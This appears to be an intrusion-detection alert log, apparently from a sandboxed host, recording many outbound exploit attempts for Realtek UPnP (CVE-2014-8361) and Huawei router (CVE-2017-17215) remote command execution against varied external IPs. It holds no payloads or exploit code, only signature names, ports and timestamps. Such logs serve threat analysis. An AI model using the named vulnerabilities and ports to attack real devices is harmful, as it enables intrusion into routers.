ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.47.44.203

Timestamp:	07/20/24-23:10:52.061682
SID:	2027339
Source Port:	43186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.15.150.168

Timestamp:	07/20/24-23:10:59.023708
SID:	2829579
Source Port:	49388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.160.19

Timestamp:	07/20/24-23:11:06.676715
SID:	2835222
Source Port:	55764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 73.153.13.203

Timestamp:	07/20/24-23:10:46.829468
SID:	2835222
Source Port:	38208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.6.54.213

Timestamp:	07/20/24-23:11:06.688603
SID:	2835222
Source Port:	49056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 163.184.174.135

Timestamp:	07/20/24-23:10:45.052621
SID:	2025132
Source Port:	55768
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.187.203

Timestamp:	07/20/24-23:10:59.050849
SID:	2829579
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.52.21.44

Timestamp:	07/20/24-23:10:39.497131
SID:	2829579
Source Port:	39504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.77.255.75

Timestamp:	07/20/24-23:11:03.306086
SID:	2835222
Source Port:	45090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.251.233.95

Timestamp:	07/20/24-23:10:39.485535
SID:	2835222
Source Port:	38156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.172.70.43

Timestamp:	07/20/24-23:10:46.809208
SID:	2829579
Source Port:	55852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 131.159.98.164

Timestamp:	07/20/24-23:10:42.620951
SID:	2831300
Source Port:	38952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.133.33.52

Timestamp:	07/20/24-23:10:59.012071
SID:	2829579
Source Port:	42216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 110.195.69.132

Timestamp:	07/20/24-23:10:52.016220
SID:	2027339
Source Port:	53548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 159.255.12.160

Timestamp:	07/20/24-23:10:47.908504
SID:	2027339
Source Port:	49372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.205.204.47

Timestamp:	07/20/24-23:10:46.832505
SID:	2835222
Source Port:	53432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 107.37.185.77

Timestamp:	07/20/24-23:11:03.402557
SID:	2829579
Source Port:	42750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 162.29.204.88

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	54850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.39.100.182

Timestamp:	07/20/24-23:10:42.642008
SID:	2027339
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.165.244.114

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	47236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.90.146.20

Timestamp:	07/20/24-23:11:03.309500
SID:	2829579
Source Port:	40228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.209.81

Timestamp:	07/20/24-23:10:49.377082
SID:	2829579
Source Port:	47626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 4.56.195.59

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	37732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 93.87.50.30

Timestamp:	07/20/24-23:10:52.021521
SID:	2831300
Source Port:	54752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.41.120

Timestamp:	07/20/24-23:10:39.438135
SID:	2829579
Source Port:	54780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 20.223.23.215

Timestamp:	07/20/24-23:10:51.988569
SID:	2831300
Source Port:	38454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 107.205.165.229

Timestamp:	07/20/24-23:10:42.630640
SID:	2027339
Source Port:	60034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 183.79.5.78

Timestamp:	07/20/24-23:10:42.625971
SID:	2831300
Source Port:	44092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.47.17.60

Timestamp:	07/20/24-23:10:55.993044
SID:	2835222
Source Port:	45500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 106.24.229.227

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	36840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.89.36.24

Timestamp:	07/20/24-23:10:40.649804
SID:	2829579
Source Port:	48610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 161.55.194.1

Timestamp:	07/20/24-23:10:41.222356
SID:	2835222
Source Port:	39194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 195.207.0.55

Timestamp:	07/20/24-23:10:51.917055
SID:	2831300
Source Port:	53878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 23.213.111.232

Timestamp:	07/20/24-23:10:51.984755
SID:	2831300
Source Port:	39854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.18.206.159

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 73.61.115.234

Timestamp:	07/20/24-23:10:46.836862
SID:	2829579
Source Port:	54926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 140.169.88.3

Timestamp:	07/20/24-23:10:51.969301
SID:	2027339
Source Port:	55782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 77.45.128.145

Timestamp:	07/20/24-23:10:42.272034
SID:	2835222
Source Port:	38322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.86.230.135

Timestamp:	07/20/24-23:10:40.649994
SID:	2829579
Source Port:	37342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 135.183.179.19

Timestamp:	07/20/24-23:10:46.756315
SID:	2829579
Source Port:	57128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.71.208.160

Timestamp:	07/20/24-23:11:03.402557
SID:	2835222
Source Port:	49624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.208.251.18

Timestamp:	07/20/24-23:10:49.447315
SID:	2835222
Source Port:	58988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.4.12.194

Timestamp:	07/20/24-23:10:41.230071
SID:	2835222
Source Port:	57010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.38.222.42

Timestamp:	07/20/24-23:10:44.476283
SID:	2027339
Source Port:	54992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.248.175.173

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	52988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 158.108.32.200

Timestamp:	07/20/24-23:10:47.956414
SID:	2027339
Source Port:	40984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.245.144

Timestamp:	07/20/24-23:10:39.433488
SID:	2835222
Source Port:	57118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.201.237.95

Timestamp:	07/20/24-23:10:52.555606
SID:	2829579
Source Port:	46878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 141.79.176.187

Timestamp:	07/20/24-23:10:42.248391
SID:	2829579
Source Port:	45914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.214.106.14

Timestamp:	07/20/24-23:10:59.067929
SID:	2835222
Source Port:	56832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.40.108.188

Timestamp:	07/20/24-23:11:06.706397
SID:	2829579
Source Port:	60904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 194.217.196.209

Timestamp:	07/20/24-23:10:39.723592
SID:	2025132
Source Port:	57064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.60.50.224

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	45196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.191.203.98

Timestamp:	07/20/24-23:10:59.028826
SID:	2829579
Source Port:	38052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 189.107.255.223

Timestamp:	07/20/24-23:10:39.192692
SID:	2025132
Source Port:	53962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.32.225

Timestamp:	07/20/24-23:10:56.002190
SID:	2835222
Source Port:	45448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 196.217.9.9

Timestamp:	07/20/24-23:10:51.926807
SID:	2831300
Source Port:	39004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.196.30.239

Timestamp:	07/20/24-23:10:55.995070
SID:	2835222
Source Port:	46994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.243.22.191

Timestamp:	07/20/24-23:11:03.396634
SID:	2829579
Source Port:	35510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.68.182.111

Timestamp:	07/20/24-23:10:51.917055
SID:	2027339
Source Port:	54818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.171.167.40

Timestamp:	07/20/24-23:11:03.378926
SID:	2829579
Source Port:	34180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 192.27.39.245

Timestamp:	07/20/24-23:10:51.971548
SID:	2831300
Source Port:	49762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 89.171.240.248

Timestamp:	07/20/24-23:10:39.100414
SID:	2027339
Source Port:	41758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.185.22.151

Timestamp:	07/20/24-23:10:42.267699
SID:	2835222
Source Port:	36198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.165.124

Timestamp:	07/20/24-23:10:41.222609
SID:	2829579
Source Port:	45306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 92.54.7.102

Timestamp:	07/20/24-23:10:45.080820
SID:	2025132
Source Port:	36212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.10.69.143

Timestamp:	07/20/24-23:10:46.756934
SID:	2835222
Source Port:	42482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.2.9.114

Timestamp:	07/20/24-23:10:52.008043
SID:	2027339
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.135.201.192

Timestamp:	07/20/24-23:10:49.430121
SID:	2835222
Source Port:	41616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 206.61.255.0

Timestamp:	07/20/24-23:11:06.669620
SID:	2829579
Source Port:	55222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 152.242.221.75

Timestamp:	07/20/24-23:10:40.204129
SID:	2025132
Source Port:	36464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 60.32.252.28

Timestamp:	07/20/24-23:10:49.395188
SID:	2829579
Source Port:	37804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 153.91.88.242

Timestamp:	07/20/24-23:10:47.852736
SID:	2025132
Source Port:	33888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 196.54.140.130

Timestamp:	07/20/24-23:10:43.610550
SID:	2025132
Source Port:	48780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.249.57.69

Timestamp:	07/20/24-23:10:55.995070
SID:	2835222
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 205.98.7.209

Timestamp:	07/20/24-23:11:03.394674
SID:	2829579
Source Port:	38206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 40.139.206.8

Timestamp:	07/20/24-23:10:43.404449
SID:	2025132
Source Port:	55002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 99.203.56.30

Timestamp:	07/20/24-23:10:49.430121
SID:	2829579
Source Port:	60696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 198.105.114.189

Timestamp:	07/20/24-23:10:45.877183
SID:	2025132
Source Port:	60732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.216.252.34

Timestamp:	07/20/24-23:10:42.267551
SID:	2829579
Source Port:	44126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.254.57

Timestamp:	07/20/24-23:10:46.832505
SID:	2835222
Source Port:	50942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.57.193.59

Timestamp:	07/20/24-23:10:39.433488
SID:	2829579
Source Port:	58030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.179.196.98

Timestamp:	07/20/24-23:10:43.874968
SID:	2027339
Source Port:	52408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.166.125.235

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	41702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 82.183.236.197

Timestamp:	07/20/24-23:11:03.378464
SID:	2829579
Source Port:	41260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.111.99.127

Timestamp:	07/20/24-23:10:42.248539
SID:	2835222
Source Port:	42562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 24.231.54.99

Timestamp:	07/20/24-23:10:42.620951
SID:	2027339
Source Port:	58956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 2.202.26.203

Timestamp:	07/20/24-23:10:52.004720
SID:	2831300
Source Port:	41498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.144.229.43

Timestamp:	07/20/24-23:10:49.341206
SID:	2835222
Source Port:	35524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.131.11.118

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	39814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 144.85.64.233

Timestamp:	07/20/24-23:10:40.601389
SID:	2835222
Source Port:	40936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.67.131.214

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	56126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.193.215.35

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	38740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.19.206.241

Timestamp:	07/20/24-23:10:56.016286
SID:	2829579
Source Port:	54254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 86.217.29.78

Timestamp:	07/20/24-23:10:52.047583
SID:	2831300
Source Port:	34010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.124.156

Timestamp:	07/20/24-23:11:03.365384
SID:	2835222
Source Port:	58894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.55.126.137

Timestamp:	07/20/24-23:11:06.689939
SID:	2829579
Source Port:	60822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 126.29.154.162

Timestamp:	07/20/24-23:10:51.915099
SID:	2831300
Source Port:	38146
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.173.171.152

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.37.247.195

Timestamp:	07/20/24-23:10:46.865461
SID:	2829579
Source Port:	50180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.221.145

Timestamp:	07/20/24-23:10:46.768902
SID:	2829579
Source Port:	41138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.43.252

Timestamp:	07/20/24-23:10:52.538168
SID:	2829579
Source Port:	60746
Destination Port:	37215
Protocol:	TCP
